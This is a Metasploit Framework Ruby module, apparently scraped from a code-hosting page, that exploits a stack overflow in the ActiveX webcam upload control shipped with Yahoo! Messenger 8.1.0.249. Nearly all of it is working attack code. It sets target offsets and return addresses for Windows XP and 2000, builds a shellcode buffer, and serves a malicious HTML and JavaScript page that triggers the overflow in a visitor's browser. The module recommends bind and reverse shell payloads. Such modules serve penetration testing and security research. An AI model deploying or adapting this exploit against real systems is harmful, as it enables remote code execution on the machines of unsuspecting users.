94 lines
2.7 KiB
Ruby
94 lines
2.7 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/projects/Framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Browser::YahooMessenger_Server < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the Yahoo! Webcam Upload ActiveX
|
|
Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
|
|
By sending a overly long string to the "Server()" method, and then calling
|
|
the "Send()" method, an attacker may be able to execute arbitrary code.
|
|
Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
|
|
yield for the best results.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'MC' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
|
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
|
|
[ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
|
|
],
|
|
'DisclosureDate' => 'June 5 2007',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Randomize some things
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
strname = rand_text_alpha(rand(100) + 1)
|
|
|
|
# Set the exploit buffer
|
|
sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
|
|
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
|
|
sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)
|
|
|
|
# Build out the message
|
|
content = %Q|
|
|
<html>
|
|
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object>
|
|
<script language='javascript'>
|
|
#{strname} = new String('#{sploit}')
|
|
#{vname}.server = #{strname}
|
|
#{vname}.send()
|
|
</script>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|
|
end
|